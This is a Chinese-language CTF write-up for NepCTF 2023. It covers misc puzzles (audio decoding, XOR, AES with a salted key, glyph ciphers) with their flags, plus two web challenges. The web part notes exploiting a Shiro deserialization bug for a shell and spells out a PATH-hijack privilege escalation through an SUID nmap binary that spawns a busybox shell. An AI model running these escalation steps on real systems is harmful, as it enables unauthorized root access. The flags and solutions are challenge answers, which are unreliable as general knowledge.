Misc

codes

抄https://blog.csdn.net/aspnet_lyc/article/details/20548767

#include <stdio.h>

int main(int argc, char** argv, char** arge)
{
    while(*arge)
    {
        printf("%s\n", *arge++);
    }
    return 0;
}

与AI共舞的哈夫曼

copilot秒了

ConnectedFive

万宁五子棋,手动下了一会感觉手动也行,但是还是写个脚本,由于没有什么规律,直接random下棋了,乐

from pwn import *
import random

r = remote('nepctf.1cepeak.cn', 31762)

def getboard():
    board = []
    for i in range(15):
        data = r.recvline().decode()[3:].replace('[', ' ').replace(']', ' ').strip()
        data = data.split(' ')
        board.append(data)
    return board

table = 'abcdefghijklmno'
while True:
    r.recvline()
    r.recvline()
    r.recvline()
    r.recvline()
    res = r.recvline().decode()
    if(int(res.split(':')[0]) >= 38):
        r.interactive()
    print(res)
    r.recvline()
    r.recvline()
    board = getboard()
    random_x = random.randint(0, 14)
    random_y = random.randint(0, 14)
    while board[random_y][random_x] != '.':
        random_x = random.randint(0, 14)
        random_y = random.randint(0, 14)
    pos = table[random_x] + table[random_y]
    r.recvline()
    r.sendline(pos)
    r.recvline()

跑了很多次发现打赢概率挺高,就是跑的过程中容易开头就卡死,懒得优化了,开头不卡死后面基本没问题

陌生的语言

直接照着抄

https://ay.medyotan.ga/upload/lwa_moonrunes.png

https://fonts2u.com/dinotopian.font

NepCTF{NEPNEP_A_BELIEVING_HEART_IS_YOUR_MAGIC}

小叮弹钢琴

audacity打开然后缩小横着看

前面是莫斯后面是16进制

前:youshouldusethistoxorsomething
后:0x370a05303c290e045005031c2b1858473a5f052117032c39230f005d1e17

直接xor

你也喜欢三月七么

题目描述比较重要

三月七:耶,终于来到Nepnep星球啦,让我看看正在火热进行的Hacker夺旗大赛群聊。啊!开拓者,这群名看起来怪怪的诶。 (伸出脑袋,凑近群名,轻轻的闻了一下)哇,好咸诶,开拓者你快来看看!

开拓者(U_id):(端着下巴,磨蹭了一下,眼神若有所思)这好像需要经过啥256处理一下才能得到我们需要的关键。

得到两个消息,一是群名是salt,二是群名sha256之后就是key

就可以还原所有参数(key取sha256之后前16位

salt = NepCTF2023
key = dd8e671df3882c5be6423cd030bd7cb6
iv= 88219bdee9c396eca3c637c0ea436058
ciphertext= b700ae6d0cc979a4401f3dd440bf9703b292b57b6a16b79ade01af58025707fbc29941105d7f50f2657cf7eac735a800ecccdfd42bf6c6ce3b00c8734bf500c819e99e074f481dbece626ccc2f6e0562a81fe84e5dd9750f5a0bb7c20460577547d3255ba636402d6db8777e0c5a429d07a821bf7f9e0186e591dfcfb3bfedfc

直接解密

图片里面就是星铁的文字,直接照着抄就行了

NepCTF{HRP_always_likes_March_7th}

lic

拖进audacity放大简单观察一手,发现大概有这三种序列分别是长度为57的、长度为22的和长度为44的

其中57的只在开头出现另外两种随机出现

小溜一手gpt

import wave
import numpy as np

def demodulate_pcm(filename):
    # 打开WAV文件
    with wave.open(filename, 'rb') as wav_file:
        # 获取音频参数
        channels = wav_file.getnchannels()
        sample_width = wav_file.getsampwidth()
        sample_rate = wav_file.getframerate()
        num_frames = wav_file.getnframes()
        # 读取音频数据
        audio_data = wav_file.readframes(num_frames)
        # 将二进制数据转换为numpy数组
        audio_np = np.frombuffer(audio_data, dtype=np.int16)
        # 解调PCM数据
        demodulated_data = audio_np.flatten()
        # 缩放解调数据
        demodulated_data = demodulated_data / (2 ** (sample_width * 8 - 1))

    return demodulated_data, sample_rate

filename = 'lic.wav'  # 替换为您的WAV文件路径
demodulated_data, sample_rate = demodulate_pcm(filename)

for i in demodulated_data:
    print(round(i),end='')

简单手动处理一下,把-1换2

然后把很多个0换成1个0,并且以这个0为界限分出前后两部分

然后对前一部分进行手动替换

222222222222222222222222222211111111111111111111111111111 --> 6
22222222222222222222221111111111111111111111  --> 0
222222222211111111111 --> 3
3 --> 1
然后手动把多余的2去了

然后16个一组画图,这时候画出来的图有一定的偏移,开头再添加5个6画的就很好了

f = open('3.txt').read()
for i in range(0, len(f), 16):
    print(f[i:i+16][::-1])

大概这样

Ez_BASIC_II

在线工具直接转换

https://www.my-trs-80.com/cassette/

拿到BASIC程序

手动提取出所有数字

然后放进cyberchef

这时候就比较明显了

直接从里面复制出来再提纯

res = '''
.........
... °°...
..º...½..
..¿......
..«´°°...
.........
.........
.. .°°...
..ª...½..
..ª...¿..
..ªµ°¸...
..ª......
....°°...
..¨......
..¿......
..¿......
...½°°¸..
.........
..°°°°°..
....¿....
....¿....
....¿....
.........
'''

res = res.split('\n')
for i in res:
    for j in range(len(i)):
        if(i[j] != '.'):
            print('A',end='')
            continue
        print(' ',end='')
    print()

就稍微清楚一点了

CheckIn

直接交

问卷

直接填

Web

ez_java_checkin

抓包发现rememberme=deleteme,搜到是shiro的反序列化

工具直接打

拿到shell发现find有suid权限,直接提

独步天下-转生成为镜花水月中的王者

提示说是环境变量提权,同时可以搜到nmap有suid权限并且似乎会调用ports-alive这个东西

直接一套小连招提权

echo "/bin/busybox sh" > /tmp/ports-alive
chmod 777 /tmp/ports-alive
export PATH=/tmp
/bin/nmap 123